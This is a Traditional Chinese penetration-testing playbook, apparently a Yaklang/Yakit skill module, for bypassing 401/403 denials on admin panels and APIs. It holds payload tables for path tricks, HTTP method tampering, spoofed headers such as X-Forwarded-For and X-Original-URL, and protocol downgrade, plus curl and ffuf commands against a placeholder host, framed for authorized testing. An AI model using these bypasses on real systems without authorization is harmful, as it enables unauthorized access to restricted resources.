401-403 繞過技巧 是做什麼的?
401/403 繞過劇本。在管理面板、API 端點或受限路徑上遇到拒絕存取回應時使用。涵蓋路徑操作、HTTP 方法篡改、標頭注入、協定降級及自動化繞過工具。
簡介
當目標應用程式返回 401 Unauthorized 或 403 Forbidden 狀態碼時,表示未經授權的存取被拒絕。然而,許多 Web 應用程式因其存取控制邏輯實作不完整,可能允許透過特定技巧繞過限制。本技能提供一系列已驗證的技術,用於在授權測試中探索此類漏洞。
平台支援
- Yaklang:可直接作為 Yak 模組使用,或透過 Yakit 圖形化介面執行。
- 自動化工具整合:劇本中包含
ffuf、Burp Suite等工具的 payload 範例。
繞過技術
1. 路徑操作
透過修改 URL 路徑來欺騙伺服器接受請求。
| 技術 | 範例 payload | 說明 |
|---|---|---|
| 萬用字元 | /admin/* | 使用星號表示任意路徑 |
| 路徑參數 | /admin;foo | 分號後接參數 |
| URL 編碼 | /admin%2F | 對斜線進行編碼 |
| 大小寫變異 | /Admin, /ADMIN | 改變大小寫 |
| 結尾斜線 | /admin vs /admin/ | 增加或移除斜線 |
| 雙重斜線 | //admin | 使用雙斜線開頭 |
| 後綴繞過 | /admin..;/ | 使用點點分號路徑 |
| 子目錄繞過 | /./admin/../admin/ | 利用相對路徑混淆 |
2. HTTP 方法篡改
變更請求的 HTTP 方法,繞過僅針對特定方法的限制。
| 技術 | 範例 | 說明 |
|---|---|---|
| HEAD 方法 | HEAD /admin | 僅取得回應標頭 |
| OPTIONS 方法 | OPTIONS /admin | 查看允許的方法 |
| PUT/PATCH 方法 | PUT /admin/config | 嘗試修改資源 |
| DELETE 方法 | DELETE /admin/user/1 | 嘗試刪除資源 |
| TRACE 方法 | TRACE /admin | 診斷用方法,有時未限制 |
| X-HTTP-Method-Override | 標頭:X-HTTP-Method-Override: POST | 欺騙後端 |
3. 標頭注入
在請求中插入特定 HTTP 標頭,繞過基於 IP 或來源的存取控制。
| 標頭名稱 | 範例值 | 說明 |
|---|---|---|
X-Forwarded-For | 127.0.0.1, localhost | 偽造客戶端 IP |
X-Original-URL | /admin/ | 指定原始請求路徑 |
X-Rewrite-URL | /admin/ | 重寫 URL 路徑 |
X-Custom-IP-Authorization | 127.0.0.1 | 自訂授權 IP |
X-Forwarded-Host | internal-admin.com | 偽造主機標頭 |
Client-IP | 127.0.0.1 | 客戶端 IP |
X-Real-IP | 127.0.0.1 | 真實 IP |
X-Auth-Token | null, 0, false | 嘗試空或假值 |
4. 協定降級
將 HTTPS 請求降級為 HTTP,規避基於協定的限制。
- 將 URL 中的
https://改為http://。 - 保留路徑其餘部分不變。
- 注意:現代瀏覽器可能自動升級為 HTTPS,建議使用
curl或wget測試。
curl -v http://target.com/admin/
5. 自動化繞過
利用工具批量測試繞過 payload。
ffuf 範例:
ffuf -w /path/to/payloads.txt -u https://target.com/FUZZ/admin -H "X-Forwarded-For: 127.0.0.1" -fc 401,403
Burp Suite Intruder:
- settings 中匯入 payload 清單
- 設定 Position 為路徑或標頭
- 過濾掉 401 與 403 狀態碼
注意事項
- 只能在獲得授權的目標上執行測試。
- 單一技巧可能無效,建議組合使用。
- 部分方法可能觸發 WAF 或入侵偵測系統,操作時請謹慎。
- 記錄所有測試結果以便後續分析。
參考資源
- OWASP Testing Guide - Authorization Testing
- [Web Application Hacker's Handbook]